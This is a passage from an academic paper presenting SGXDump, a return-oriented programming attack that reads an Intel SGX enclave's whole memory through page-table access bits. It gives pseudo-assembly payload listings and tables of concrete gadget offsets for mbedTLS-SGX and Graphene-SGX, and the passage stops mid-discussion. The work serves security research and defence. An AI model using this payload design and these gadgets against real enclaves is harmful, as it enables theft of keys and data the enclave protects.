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Abstract: Intel SGX (Software Guard Extensions) is a hardware-based security solution that provides
a trusted computing environment. SGX creates an isolated memory area called enclave and prevents
any illegal access from outside of the enclave. SGX only allows executables already linked statically
to the enclave when compiling executables to access its memory, so code injection attacks to SGX
are not effective. However, as a previous study has demonstrated, Return-Oriented Programming
(ROP) attacks can overcome this defense mechanism by injecting a series of addresses of executable
codes inside the enclave. In this study, we propose a novel ROP attack, called SGXDump, which can
repeat the attack payload. SGXDump consists only of gadgets in the enclave and unlike previous
ROP attacks, the SGXDump attack can repeat the attack payload, communicate with other channels,
and implement conditional statements. We successfully attacked two well-known SGX projects,
mbedTLS-SGX and Graphene-SGX. Based on our attack experiences, it seems highly probable that an
SGXDump attack can leak the entire enclave memory if there is an exploitable memory corruption
vulnerability in the target SGX application.

Keywords: intel SGX; trusted computing; ROP; memory leak

1. Introduction

Intel’s SGX is a widely-used technology to solve more fundamental security prob-
lems’ [1–4] security by using hardware as the root of trust. It encrypts data and executables
and stores them in a safe space: the enclave. It also prevents extraneous access to the
enclave [5] by generating illegal memory access signals. In addition, SGX provides an
advanced security model in that it protects the enclave even when the operating system
is compromised.

However, SGX was not designed to defend against code-reuse attack, so its effec-
tiveness depends on the security implemented by SGX application developers [6]. As a
result, various studies have successfully demonstrated a code-reuse attack. ROP can be
used at the stage of injecting the attack code in both micro-architectural timing attacks
and controlled-channel attacks, which are two representative methods of attacking SGX.
Micro-architectural timing attacks first record the access speed of hardware components
such as the buffer, cache, input and output ports, as well as encryption engines. Then, they
analyze any access time differences to infer protected data [7,8]. This attack often suffers
from noise-related inaccuracies due to unpredictable system events and/or access speed
variations. A controlled-channel attack is analyzing memory access patterns or memory
contents through channels that an attacker can control such as page faults [9–14].

A typical code-reuse attack is a return oriented programming (ROP) attack. The ROP
attack uses instruction sets called gadgets that are a series of instructions ending with ret
instruction. Since all the gadgets are already contained in the victim binary, attackers do
not need to inject new executable codes [15]. Furthermore, refs. [16,17] demonstrated that
BLX, a branch instruction of ARM CPU, and jmp can be ending instructions to constitute
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a gadget. In addition, ref. [18] proposed Sigreturn Oriented Programming (SROP) using
the restore_sigcontext() function that is used to process signals in kernel mode for restoring
stacks after a context switch. Ref. [19] proposed Blind ROP (BROP) that performs ROP
attacks by analyzing binary’s memory space features without direct access to the source
code or binaries. Refs. [14,20–23] took the control flow of the process within enclaves
by using the ROP. However, the methods proposed in previous studies require detailed
analysis of the enclave software because it is essential to know how the software processes
the protected data. This makes it very hard to carry out ROP attacks when the source code
is not available. In addition, when the ROP payload is injected, a number of gadgets runs
sequentially, making it difficult to perform complex tasks such as communication with the
outside of the enclave.

In this paper, we propose an ROP payload that implements iterative and conditional
statements without cmp instruction. By using this method, we constructed a communication
channel to outside of the enclave. We developed the SGXDump ROP attack and the Probe
Array Monitor (PAM) kernel module to prove that our implementation is working well.
First, SGXDump in the form of an ROP payload is injected into the enclave software and
reads the entire enclave memory. At each byte value, SGXDump accesses its corresponding
page in the probe array to set the access bit of its page table entry to one. When the Probe
Array Monitor detects this change, it translates the access bit’s location to the value that
SGXDump reads from the enclave’s memory.

We summarize the main contributions of this study as follows:

• We present an ROP attack that implements loops inside the attack payload to leak
enclave data. Our ROP attack utilizes page table entries’ access bits so that the PAM
can retrieve the enclave’s memory.

• We give a real example of ROP code for attacking SGX. Unlike the usual ROP codes
that simply call a specific function with designated parameters, SGXDump walks
through the entire memory while accessing the probe array. We demonstrate how to
build ROP code for implementing loops with limited gadgets. This will be useful for
many researchers who want to devise ROP attacks on SGX.

• We demonstrate successful ROP attacks that could lead to a leak of the entire memory
by using SGXDump and PAM to attack two well-known SGX open source projects:
mbedTLS-SGX and Graphene-SGX. While mbedTLS-SGX is a very useful tool for SGX
applications that need to use an SSL library for secure communication [24]. Graphene-
SGX is a tool for running unmodified code on SGX [25]. Therefore, any vulnerable
code found in either of these projects could be serious threats for SGX service owners
and users.

We organize the rest of the paper as follows. Section 2 provides background related to
our study. Section 3 explains the SGXDump threat model. Section 4 gives an overview of
SGXDump and Section 5 gives a detailed account of how our attack is designed. In Section 6,
we explain our attack implementation. After presenting related works in Section 7, we
conclude in Section 8.

2. Background

Intel SGX. Intel Software Guard Extensions (SGX) is a set of instructions that allows a
user process to create a secure area called an enclave inside its address space. An enclave has
separate code and data sections including a stack and heap; SGX safeguards this enclave
against external access [5,6]. However, as many previous studies presented, enclave’s
memory is still vulnerable to various attacks and the code-reuse attack such as ROP is
demonstrated to be effective in leaking the enclave’s memory [14,20]. In our study, we
build the ROP payload that has a loop format by using gadgets inside the enclave. It
should be noted that, SGX SDK libraries are statically linked to an enclave’s code at build-
time so that the enclave becomes a self-contained binary. This property may hamper an
attacker’s ROP composition because the target enclave binary should be available to the
attacker beforehand. However, this is not necessarily true because SGX is designed to
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secure enclaves under a compromised OS and the OS has the privilege of looking into the
enclave binaries [5,6].

Enclave ASLR. Address space layout randomization (ASLR) is a technique that ran-
domly selects the loading address of executables including libraries, the heap, and stack
in the address space [26]. This is an effective countermeasure against memory corruption
vulnerabilities (e.g., from buffer overflow) because injected code usually needs the target
library function’s address.

Although ASLR should be an effective defense against normal ROP attacks, our attack
works well even if ASLR is used. In this study, an attacker with root privilege is able to
find the base address of the enclave binary at each execution. Additionally, ASLR does not
randomize the section address inside of the enclave. Therefore, once an attacker knows the
base address of the loaded enclave, he can calculate all the addresses of the necessary ROP
gadgets. SGX-Shield [27] addresses this limitation of enclave ASLR, but this approach is
yet to be deployed in the official SGX library.

Virtual Address Translation. As a computer operates, virtual addresses need to be
translated into physical addresses. For this purpose, the OS uses a per-process page table to
manage its memory at the page level. The page table is an array of page table entries (PTE).
A PTE contains the physical address of a virtual page and additional information including
status bits such as accessed, present, rw, user, and dirty, among others. From these status
bits, we make use of the access bit. When an instruction accesses a page, its access bit is set
to one. Later, the access bit is used by the page replacement algorithm to select which page
will be swapped out to the secondary disk [28,29].

When an attacker has root privilege, this access bit can be useful as a covert channel in
the following way. First, a process allocates 256*4096-bytes for called a probe array (pa[]),
which needs 256 consecutive pages for a page size of 4KB. Let us assume that the process
acquires one byte of secret information, s. The unsigned integer value of s ranges from
0 to 255. Then, the process uses s for accessing pa[s*4096]. This memory reads or writes
operation sets the sth page’s access bit to one. When the attacker residing in the kernel
monitors pa[]’s access bit, he can obtain s easily. In this paper, we will demonstrate how to
develop the SGXDump ROP payload and the kernel module, both of which collaboratively
leak the contents of the target enclave application’s memory.

3. Threat Model

Figure 1 shows the overall threat model. The primary goal of SGXDump is to extract
the memory’s entire contents, including any code and data in the target enclave by using the
ROP payload. To this end, we first suppose that the attacker is able to acquire root privilege,
so has complete control of the OS. This is not an outlandish assumption because Intel SGX’s
programming model is designed to secure the enclave under the assumption that any of the
software or hardware components, except the enclave, could be compromised [30]. Thus,
we assume that the attacker can install a kernel module for checking the access bit of the
victim process.

Application
Enclave (not encrypted)

Attacker

vulnerability

install 
kernel module

User
Kernel

root 
privilege

analyze
enclave code

ROP 
payload

Figure 1. The threat model.

Since the prime attack vector for disclosing an enclave’s memory in our approach
is an ROP attack, we assume that the target application running the enclave has a mem-
ory corruption vulnerability (e.g., a stack buffer overflow). In some cases, the binary is
encrypted at build time to further improve the security of the target enclave. This binary
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is decrypted just before the enclave is loaded, so it is practically impossible to make ROP
payloads because pre-analysis of enclave binary is not feasible. Therefore, we assume that
the target enclave is not encrypted at build time.

4. SGXDump Attack Overview

Figure 2 depicts the overall architecture of the SGXDump attack. Two main units are
the SGXDump and Probe Array Monitor. SGXDump in the form of an ROP payload is
injected into the vulnerable code and keeps reading one byte from the enclave memory,
accessing one page of the probe array until it reads through the entire enclave memory. The
Probe Array Monitor (PAM) module is inserted into the kernel by the attacker beforehand
and waits for SGXDump’s access to the probe array. The PAM translates the locations of
access bits into enclave memory values. Finally, the attacker obtains the enclave data by
reading the PAM’s memory through procfs. In the following subsections, we will explain
more about the SGXDump and PAM.

Kernel Module

Target Application
Enclave

Trusted Libraries

Vulnerable  
Code

User

Kernel

ROP 
gadgets

Probe Array

input
ROP Payload

data
reference

Page Table

Access 
Page

access bit is
set to 1

detecting change
(while Monitoring)

collecting
data

Enclave 
Data

Legend

Data Transfer

TransitionROP
execution

Figure 2. The proposed SGXDump framework.

4.1. SGXDump

As explained in Section 3, the typical role of the ROP payload is to escalate the privilege
of the malicious code for running the shell or disabling the security enforcement (e.g., the
SELinux or ASLR policy). Since the main task of these ROPs is to make system calls with
proper parameters, its payload only needs several gadgets.

However, the SGXDump ROP payload has a rather complicated task: it extracts the
entire enclave’s memory including code and data using the probe array’s page table entry
(PTE). To this end, SGXDump turns enclave memory values into virtual page numbers
(VPNs) in the accessed PTE as follows. It reads one byte from enclave memory and binary-
shifts the value to the left twelve times, multiplying by 4096 (i.e., the page size). Then, it
adds the base address of the probe array to the value and uses it as an index to access
the probe array. This access leads to the access bit in the probe array’s page table entry
(PTE) being set to one. Based on the index of the accessed probe array, the PAM can recover
the value that SGXDump read from the enclave memory. To obtain the entire contents
of the enclave’s memory, SGXDump iterates this process until it reaches the end of the
enclave’s memory.
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4.2. Probe Array Monitoring

The main task of the PAM is to detect a change in a PTE of the probe array and to
recover the value by locating the accessed page number in the PTE. Then, PAM clears the
access bit in the PTE and continues to wait for a change in the PTE. However, SGXDump
is not able to detect the clearing event carried out by PAM, so it cannot decide when to
read the next bytes. If the two components are not synchronized well, SGXDump could
access the probe array multiple times before the PAM retrieves the information or vice
versa, resulting in noisy or incorrect data leakage.

In order to make sure that the SGXDump and PAM leak data correctly, we devised a
simple binary semaphore using four-byte memory in the target application’s stack area. We
call this memory a sync. Unlike a normal binary semaphore, which uses zero or one, our
sync uses zero or an offset, which will vary depending on target enclave applications. Zero
means that SGXDump can continue to read the next byte. After accessing the probe array,
it writes an offset value at the sync. This offset is used to jump to the starting address of a
waiting loop in the ROP payload of SGXDump, which will be explained in detail in the
next section.

Simultaneously, the PAM keeps checking the sync. If the value stored in the sync is not
zero, it means that SGXDump has finished accessing the probe array. Now, it is the PAM’s
turn to retrieve information from the PTE. After this, the PAM clears the access bit of the
PTE and resets the sync to zero, indirectly signaling SGXDump to read the subsequent byte.

5. Attack Design

In this section, we describe the attack process in detail. We begin with memory selection
for the probe array. Then, we explain gadget searching and the ROP payload structure.
Finally, we finish this section by looking at data leakage and synchronization.

5.1. Choosing the Probe Array

The probe array is a trampoline memory array used to set the access bit in the page
table entries (PTE). To minimize noise, we choose the memory area as a probe array that
satisfies the following conditions.

• Mapped memory area. If an unmapped memory area is chosen as the probe array,
unnecessary exceptions will occur whenever the ROP accesses the probe array. To
avoid this situation, we select a mapped memory area for the probe array.

• No access by other threads. Our main idea is to detect the access bit of the probe array
by executing ROP gadgets. If other threads access the probe array, this access will
cause unwanted noise. Therefore, we choose a memory area that is not accessed by
other threads.

• Memory area outside of the Enclave. Since SGXDump will read through all the
enclave memory, access bits of the memory will change as a consequence. To avoid
undesirable noise on the access bits, it is necessary to pick a memory area outside of
the enclave.

Since we assume the attacker obtained the root privilege, the attacker can find a
memory area that satisfies the above conditions as follows. The first step is to obtain the
memory mapping information of the target process by analyzing the /proc/pid/maps file
as shown in the Figure 3. After checking the mapped memory area in lines 1∼6 and the
enclave memory area in lines 15∼20, the attacker can find memory areas located outside
of the enclave. The second step is to identify every thread that accesses the possible probe
array memory area by using the debugger. Then, the attacker can select a memory area
that there are no threads accessing the area. In this research, we often selected one from the
stack area, since it normally satisfied the above conditions.
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Figure 3. Contents of /proc/pid/maps file.

5.2. Finding Gadgets for the ROP Payload

As explained in the Intel® Software Guard Extensions (Intel® SGX) SDK for Windows
OS, SGX does not allow dynamic linking, meaning that all necessary functions’ binaries
are copied to the enclave code at build time [6]. Each enclave needs its own function sets
at different locations. This is why it is almost impossible to construct a silver bullet ROP
payload that will work for any enclave applications. Therefore, an adversary has to build a
customized ROP payload for each target enclave.

During the attack preparation step, the adversary will search for a set of gadgets.
We use ROPgadget [31] for finding all gadgets that can be used to build ROP payloads.
Since certain library functions are likely to be included in many enclaves, it is usually
better to use gadgets from SGX’s trusted library. However, as we mentioned above, each
enclave uses its own set of library functions, so there may be cases in which gadgets
that the adversary wants to use are not available in any of the enclave’s binary code. We
discovered that there are various combinations of gadgets that perform the same operation.
For example, one gadget, inc addr, in mbedTLS-SGX, increments the value stored at addr.
However, Graphene-SGX does not have that gadget. Instead, we used six other gadgets
and composed an ROP sequence shown in the first nine lines of Listing 4, which performs
an equivalent operation to inc addr. In this fashion, we successfully built the SGXDump
ROP payloads for mbedTLS-SGX and Graphene-SGX, despite them having completely
different sets of gadgets. To demonstrate that the SGXDump ROP payload can be created
in other SGX applications, we constructed payloads in two additional SGX applications,
Asylo [32] and Mystikos [33], and presented their gadgets in Appendix A. Based on our
experience of finding gadgets from four SGX applications, it is very likely that SGXDump
ROP payloads can be constructed for most enclave applications.

Before going further, we make the case that our attack can work well even when
address space layout randomization (ASLR) is enabled. In an ASLR environment, the
same enclave is loaded at different base addresses, causing a gadget address found in one
execution to change in the next execution. However, it is worth noting that while base
addresses are random at every execution, the relative addresses of the text and data sections
inside the enclave memory do not change. This means that a gadget’s distance from the
base address is always the same. Therefore, a new version of the ROP payload can be
constructed correctly when the base address of the target enclave becomes available.

Identifying the Enclave’s Base Address. To find out the base address of the Enclave,
we make use of the /proc/pid/maps file. This file contains the address information of the
/dev/isgx file, which has the device name of the SGX kernel module [34]. The address is
identical to the base address of the loaded enclave in the target process.
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5.3. SGXDump ROP Payload Structure

This subsection describes the SGXDump ROP payload in detail. Since the SGXDump
consists of a relatively large amount of code compared to normal ROP payloads, we
grouped its code into four steps and depicted the overall flow in Algorithm 1. After giving
a short summary of each step, we provide in-depth explanations.

Algorithm 1 Flow of ROP payload.

1: Registers← ∅
2: while true do
3: Calculate sync address (Step 1)
4: if RSP does not have the next gadget address then
5: continue
6: end
7: Get secret data (Step 2)
8: Shift and access probe array (Step 3)
9: Loop (Step 4)

10: end

• Step 1. Calculating sync address. The ROP payload initializes several registers to
avoid unpredictable behaviors. After reading the value at the sync address, SGXDump
uses the value as a sign to access the next data or to jump back to check the sync
address for busy waiting.

• Step 2. Getting protected data. At this stage, the ROP retrieves two values from the
index address and the target address and adds the two values to calculate the next
address in enclave memory. Then, the ROP reads one byte from the address and stores
it in a register temporarily.

• Step 3. Shifting protected data and accessing probe array. The ROP payload left-
shifts the data 12 times, multiplying by 4096, and uses the resulting value as an index
to access the probe array.

• Step 4. Looping. Before looping back to Step 1, the ROP payload increments the
content at the index address and writes an offset value at the sync address to make
Step 1 perform a busy waiting.

A detailed description of each step is given in the following.
Step 1. Initializing and Calculating address. The attacker initializes the registers

to be used for the ROP payload to 0. Please note that Line 1 in Listing 1 is not a single
instruction, but a series of gadget addresses, each of which is a register reset instruction
followed by a ret instruction.

Next, the attacker loads the address of the sync to reg1 since the pop reg1 instruction
takes the top of the stack (currently, sync_address) and stores it to reg1; an example of
the ROP payload is shown in Figure 4. It is worth mentioning that the actual content in
Line 2 of the ROP payload is not an instruction but a gadget address whose instruction
is pop reg1 followed by a ret instruction, as in Figure 4a. We chose this way for better
understanding and convenience. Thus, to construct a real SGXDump ROP payload, all
instructions in the following Figures and Lists will be substituted with their corresponding
gadgets’ addresses.

In Figure 4a, executing the ret instruction makes the control flow return to the address
that is loaded in the rsp register. The rsp register has the next gadget address. After
returning, the next gadget (pop reg1) is executed as shown in Figure 4b. After executing
pop reg1, the address of the sync is loaded in reg1, as shown in Figure 4c.

Then, Line 4 in Listing 1 loads the sync data to reg1. At first, the sync data is set to
zero, so rsp register does not change after subtracting reg1. Since rsp register points to the
current stack top, the succeeding ret instruction in the gadget makes the control flow go to
Line 1 in Listing 2. If reg1 is not zero, sub rsp, reg1 would make the control flow jump
back to somewhere in the stack. In our attack, we deliberately select this offset value of
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reg1 to make the address jump to Line 2 in Listing 1, completing a busy waiting loop that
is checking the content of the sync address. When the PAM module resets the sync data to
zero, this busy waiting loop is broken and the control moves forward to Step 2.

Stack

0x7f3ecc80ec67
(pop reg1)

0x7fff8affcf98
(address of sync)

0x7f3ecc89ccbe
(mov reg1, qword ptr [reg1])

0x7f3ecc87f3ac
(sub rsp, reg1)

Registers

reg1

RSP

0x7f3ecccc6e58

0x7f3ecccc6e70

0x0

0x7f3ecccc6e58

Code

0x7f3ecccc6e60

0x7f3ecccc6e68

ret0x7f3ecc8a4a3a

(a) Before executing gadget.

Stack

Registers

reg1

RSP

0x0

0x7f3ecccc6e60

Code

pop reg10x7f3ecc80ec67

0x7fff8affcf98
(address of sync)
0x7f3ecc89ccbe

(mov reg1, qword ptr [reg1])
0x7f3ecc87f3ac
(sub rsp, reg1)

next gadget

0x7f3ecccc6e60

0x7f3ecccc6e78

0x7f3ecccc6e68

0x7f3ecccc6e70

(b) In executing gadget.

Stack

Registers

reg1

RSP

0x7fff8affcf98

0x7f3ecccc6e68

Code

ret0x7f3ecc80ec68

0x7f3ecc89ccbe
(mov reg1, qword ptr [reg1])

0x7f3ecc87f3ac
(sub rsp, reg1)

next gadget

next gadget

0x7f3ecccc6e68

0x7f3ecccc6e80

0x7f3ecccc6e70

0x7f3ecccc6e78

(c) After executing gadget.

Figure 4. State of stack.

Listing 1. ROP payload—Step 1.

pop reg1
sync_address
mov reg1 , qword ptr [ reg1 ]
sub rsp , reg1

Step 2. Obtaining protected data. SGXDump first moves index_address to reg2 as
shown by Line 1 and Line 2 in Listing 2. Then, the attacker loads the data from index_address
and writes it to reg2 (Line 3 in Listing 2). We use this data as an index from the base address
to point to a location in the enclave memory to leak next. Since target_address contains
the base address of the target enclave, the addition of reg3 and reg2 (Line 6 in Listing 2)
completes the memory address from which to leak data. Finally, SGXDump loads the data
from the enclave and stores it in reg2 (Line 7 in Listing 2).

Listing 2. ROP payload—Step 2.

pop reg2
index_address
mov reg2 , byte ptr [ reg2 ]
pop reg3
targe t_address
add reg3 , reg2
mov reg2 , byte ptr [ reg3 ]

Step 3. Shifting protected data and accessing probe array. After collecting the pro-
tected data, the SGXDump uses the shl instruction to left-shift the data stored in reg2 by
0xC (Line 1 in Listing 3). After loading probe_array_address into reg3, the addition of reg2
and reg3 creates an address that falls into the reg2th page of the probe array, assuming the
page size is 4KB. Next, SGXDump accesses a page of the probe array through that address.
Please remember that the value stored in reg1 (Line 5 in Listing 3) is of no interest because
the only reason for accessing the probe array is to set the access bit of its corresponding
PTE to one.
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Figure 5 shows an example of how an access bit is changed. When the gadget at Line 7
in Listing 2 accesses protected data at a certain enclave address, 0x1ba6d000, it acquires 0x7f,
and left-shifts it by 0xC. As a result, the protected data becomes protected data * 4096, 0x7f000.
Since the start address of the probe array is 0x7ffd6c316000, the addition of reg2 and reg3
gives 0x7ffd6c395000. Line 5 in Listing 3 makes a read access at this address, setting the
access bit of the page table to 1.

Application

Probe Array

0x7ffd6c316000

?

...

...

0x7ffd6c395000

?

Enclave

0x1ba6d002

0x4c

Enclave Stack

ROP gadgets

Page Table Entries

0x7f2fb3411000

0

...

0

0x7f2fb3412000

1

User

Kernel

③ 

Address

Value

Address

Access
bit 

Address

Value

0x1ba6d000

0x7f 0x45

0x1ba6d001

① 
② 

Figure 5. Flow of access bit change.

Listing 3. ROP payload—Step 3.

s h l reg2 , 0xC
pop reg3
probe_array_address
add reg2 , reg3
mov reg1 , byte ptr [ reg2 ]

Step 4. Looping. Next, the SGXDump increments the value stored at index_address
(Line 1–9 in Listing 4). Although this results in the same effect as using a certain gadget,
inc addr, we would like to present an example showing that there are many ways of using
the gadgets available to perform the desired operation when a specific gadget for that
operation is not available.

After this, the SGXDump stores an offset value at sync_address (Line 10–14 in Listing 4).
This offset is the difference of two addresses, Line 2 and 5 in Listing 1, which is used to
make Step 1 continue to check the sync address. The final step is to move the control flow
into Line 2 of Listing 1 so that SGXDump waits for the PAM to retrieve the protected data
from the page table and to reset the value at the sync address to zero. This is why rsp_address
has the address of Line 2 in Listing 1 and why the attacker loads it into the rsp register
(Line 15 and 16 in Listing 4).
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Listing 4. ROP payload—Step 4.

pop reg1
index_address
mov reg1 , byte ptr [ reg1 ]
pop reg2
0x1
add reg1 , reg2
pop reg2
index_address
mov byte ptr [ reg2 ] , reg1
pop reg2
sync_address
pop reg3
o f f s e t
mov byte ptr [ reg2 ] , reg3
pop rsp
l o o p _ s t a r t _ a d d r e s s

5.4. Synchronization and Data Leak via PAM

We implemented the PAM using PTEditor [35]. PTEditor provides an API to set or
clean the access bit of a page. We first explain how PAM synchronizes with SGXDump;
later, we will demonstrate how PAM leaks data via the page table.

If SGXDump runs faster than PAM, it might access the probe array multiple times
before the PAM clears the page table’s access bits. This is why we proposed the use of
four-byte memory, which we call sync, for synchronization between SGXDump and the
PAM. PAM’s implementation is much simpler than that of the SGXDump because the
PAM was developed in C, whereas SGXDump is programmed using the return-oriented
technique. Algorithm 2 depicts the PAM’s flow. It first monitors whether the sync address
contains a non-zero value. A non-zero value indicates that SGXDump has finished one
iteration and is now in the state “busy waiting” until content of the sync address becomes
0x0. After reading the protected data, the PAM clears the access bit of the PTE and changes
the content of the sync address to 0x0, thus signaling the SGXDump to continue reading
the next bytes.

Finally, we exhibit an example to explain how PAM obtains data from the PTE. In
Figure 5, SGXDump accessed the probe array at 0x7ffd6c395000, setting the access bit of
0x7ffd6c395000’s page table entry to one. Since the attacker knows the starting address of
the probe array, 0x7ffd6c316000, he can calculate the difference between the two pages,
0x7ffd6c395000 − 0x7ffd6c316000 = 0x7f000. Right-shifting 0x7f000 twelve times generates
the final piece of protected data, 0x7f, originally stored in enclave memory address at
0x1ba6d000. The PAM keeps collecting data via the probe array until the attacker can
retrieve entire memory data from the target enclave.

Algorithm 2 Flow of Kernel module.

1: while true do
2: Monitor the address of offset
3: if 0x0 is stored in address then
4: continue
5: end
6: Get the address of the page with access bit is set to 1
7: Clear all of the access bits
8: Write 0x0 to address of offset
9: end
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6. Implementation

To verify the effectiveness of our attack, we carried out two attacks targeting SGX open
source projects: mbedTLS-SGX, an enclave that provides various encryption and certificate-
related algorithms [24], and Graphene-SGX, an enclave that helps non-SGX programs to be
run in SGX [25].

6.1. mbedTLS-SGX

TLS communication can be insecure when an attacker with root privilege accesses
the communication process’ memory. mbedTLS-SGX was introduced to overcome this
limitation by preventing the compromised OS from accessing the contents of a TLS com-
munication running inside an enclave.

Figure 6a depicts how an mbedTLS-SGX-supported client works when communicating
with a remote server and how an SGXDump attack is carried out. We did not draw detailed
behaviors from TLS communications to gain a better understanding of how to implement
the SGXDump attack.

Victim Application
mbedTLS-SGX Enclave

SSL/TLS 
libraries

secret
data

User

Kernel

R
O

P
 

G
ad

g
et

s

SGXDump
Framework

External 
Server

inject

key
exchange

encrypting
with AES &

send /
receive

close
connection

ROP 
execution

access 
secret 
data

da
ta

 le
ak

ROP
Payload

Attacker

(a) mbedTLS-SGX.

Victim Application 
Graphene-SGX Enclave

Library OS

Libc loader

Libc

User libraries

FTP Client

secret
data

User

Kernel

R
O

P
 

G
ad

g
et

s

SGXDump
Framework

External 
FTP

Server

inject

connect
ftp server

send/receive
file

close
connection

ROP 
execution

access 
secret 
data

da
ta

 le
ak

ROP
Payload

Attacker

(b) Graphene-SGX.

Figure 6. Attack model.

After exchanging session keys with a remote server, mbedTLS-SGX continues to access
plaintext and ciphertext for encryption and decryption before/after sending and receiving
ciphertexts. When terminating the TLS communication, it calls close_connection. At this
point, we injected our SGXDump ROP code. Table 1 shows the gadgets we used in our
attack. Please note that this does not mean mbedTLS-SGX’s function has a vulnerability.
We modified its source code to make it vulnerable to a buffer overflow attack.
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Table 1. Gadget list used in mbedTLS-SGX.

Gadgets Function Offset

adc ecx, dword ptr [rax − 0x7d]; ret; init_global_object 0x19be1
add cl, byte ptr [rax − 0x7d]; ret; __vfprintf 0x80f92
add eax, ecx; ret; get_dynamic_layout_by_idt 0x17388
add rax, rcx; ret; get_dynamic_layout_by_idt 0x17387
inc dword ptr [rcx + 1]; ret; __strtodg 0xa4a37
mov eax, dword ptr [rax + 8]; ret; get_enclave_size 0x18778
mov qword ptr [rdi + 0x10], 0; ret; typedef basic_string 0x9228f
mov qword ptr [rdi], rax; ret; _exception 0x91467
mov qword ptr [rdx], rax; xor eax, eax; ret; elf_tls_info 0x195d3
mov rdi, qword ptr [rdi + 0x68]; ret; _Ux86_64_setcontext 0x9ccbe
nop; ret; free 0x861ef
pop rax; ret; _ULx86_64_r_uc_addr 0x9c4a3
pop rcx; ret; __dtoa 0x8842d
pop rdi; ret; __find_arguments 0x0ec67
pop rdx; pop rcx; pop rbx; ret; do_egetkey 0xa8a33
pop rsp; ret; _trts_ecall 0x17d84
shl eax, 0xc; ret; get_heap_min_size 0x18888
sub rax, 1; ret; _ZNKSt3__112basic_... 0x92831
sub rsp, rdi; mov rax, rsp; jmp rdx; alloca 0x7f3ac

6.2. Graphene-SGX

To enhance security, only statically linked binaries can run in the enclave. However,
since most applications prefer dynamic linking for improved memory efficiency, it is hard to
use existing binaries with SGX. To overcome this limitation, Graphene-SGX was proposed
to run non-SGX applications on SGX without the need for modification [25].

After creating an enclave, Graphene-SGX first loads the standard C libraries and
necessary user libraries; it then loads one C application into the enclave, as shown in
Figure 6b. The C application is able to run smoothly inside SGX by calling library functions
and accessing memory within the enclave.

In theory, even when a binary running with Graphene-SGX has a vulnerability, SGX
should protect its memory from illegal access. To show that an SGXDump attack can break
this protection, we implemented a simple ftp client with a buffer overflow vulnerability.
We inserted the vulnerable code into the close function. In our experiment, the SGXDump
attack successfully retrieved all data stored in the enclave’s memory, as shown in Figure 6b.

It is of interest to note that Graphene-SGX is a relatively easy target for a SGXDump
attack. Graphene-SGX always loads the C library, so there are plenty of gadgets with which
to compose an attack. Table 2 shows the gadgets we used in our attack. Furthermore, the
same C library is loaded for all the different applications run, so additional efforts to find
new gadgets are not necessary.
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Table 2. Gadget list used in Graphene-SGX.

Gadgets Function Offset

add cl, byte ptr [rax − 0x77]; ret; _IO_wstr_seekoff 0x77fb1
add eax, ecx; ret; _fitoa_word 0x4f2cd
add ecx, dword ptr [rax + 0x29]; ret; _int_free 0x85521
add rax, rcx; ret; __memchr_sse2 0x963a8
add rax, rsi; ret; __memrchr_sse2 0x96bcc
mov qword ptr [rdi + 8], rax; ret; _IO_switch_to_main_get_area 0x806b6
mov qword ptr [rdx], rax; ret; __GI___ctype_init 0x32c4c
mov rax, qword ptr [rax]; ret; __GI___res_state 0x11a258
movzx eax, byte ptr [rax]; ret; __getc_unlocked 0x7d352
pop rax; ret; mblen 0x3cdb8
pop rcx; pop rbx; ret; _getopt_internal 0xe2bea
pop rdi; ret; init_cacheinfo 0x25522
pop rsi; ret; strip 0x25e42
pop rsp; ret; check_one_fd 0x25c1a
shl rsi, 4; lea rax, [rdi + rsi + 8]; ret; inet6_rth_getaddr 0x11654b
sub esp, edi; dec dword ptr [rax + 0x39]; ret; __tzfile_read 0xbac9d
xchg eax, edi; ret; strfromd 0x3ff8e
xchg eax, esi; ret; check_node_accept 0xd65d9

6.3. Evaluation

To evaluate our attacks, we compared our attack with other SGX attacks that mentioned
the time that is taken to leak data and we calculated leaked bit per second (bps). Other
attacks are summarized in the next section. The Table 3 shows the comparing results. As
you can see from the table, in other attacks, they required too many attempts to leak data
from the victim enclave and have low bps. They must try many times to leak data since
their attacks have noise. Moreover, many times of attempts to leak data can affect bps.

In MemJam [36], they tried to recover the 128-bit AES key from SGX. Their non-
optimized attack needed 2,000,000 observations to recover the key and took 5 min with
noise. Since they needed m-arch contention and many times of observations, leaking bps
could be low. In CopyCat [9], they tried to recover the 2048-bit RSA key from SGX. On
average, they needed 39,400 steps and 20 s to recover the key with noise. CopyCat can
leak data faster than MemJam since they do not need any m-arch contention. However,
CopyCat’s bps is lower than our attack.

In our attack, when we already found gadgets that are needed to construct the ROP
payload, we can extract data with extremely high bps without noise with only one at-
tempt. We tried to leak 8192-bit data by using SGXDump to our implementations. First, in
mbedTLS-SGX, we can leak data in only one try without noise and it took 3 s on average.
Next, in Graphene-SGX, as in the previous case as, we can leak data in only one try without
noise and it took 12 s on average. In the case of Graphene-SGX, it needed a kernel patch to
run the Graphene-SGX application, and this may affect bps.

Table 3. Evaluation result.

Attacks Type Victim Bit per Sec Number of
Attempts Noise

MemJam [36] m-arch contention Data 0.42 2,000,000 Yes
CopyCat [9] Ctrl channel Control flow 102 39,400 Yes
SGXDump (mbedTLS-SGX) Ctrl channel Code and data 2730 1 No
SGXDump (Graphene-SGX) Ctrl channel Code and data 682 1 No

7. Discussion

Side-channel attacks can be used to leak code and data from higher-privileged execu-
tion environments (e.g., an OS kernel, a hypervisor, an SGX enclave, or a trusted OS in the
Secure World). Among these secure execution environments, Intel SGX has become widely
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used because it helps developers easily implement their own code on top of TEE. Owing to
this growing popularity, attackers are starting to pay more attention to compromising SGX
enclaves via side-channel attacks.

Table 4 summarizes the side-channel attacks that can be made against Intel SGX. In
the same way as conventional side-channel attacks, we classify side-channel attacks against
Intel SGX into three different categories according to the data acquisition channels: page
table, branch prediction unit, and cache attacks.

Page table side-channel attacks are relatively convenient because the attacker can
detect when the victim memory is accessed (e.g., enclave memory or the probe array
in SGXDump) via architectural faults or via bit changes in PTE. Thus, many previous
works have leveraged the access bit and present bit in PTE [10,12]. The access bit is used
to determine a given page’s eviction for cache management by the OS. Since a change
in the PTE’s access bit does not create an architectural fault, an adversary is required to
keep polling this bit to detect memory access. On the other hand, a change in the PTE’s
present bit raises a page fault exception so that an attacker can detect a memory access
event in a noise-free manner. As a variant of page table based-attack, Off-Limits [37] uses
the segmentation carried out by Intel CPUs, which is applicable only in the x86 mode. A
segmentation unit issues a general protection fault when a victim process accesses the
memory area beyond the segmentation limit stored in the descriptor table.

Modern CPUs have branch prediction units that consist of a branch target buffer
and the directional predictor. BranchScope [38] and BlueThunder [39] leverage 1-level and
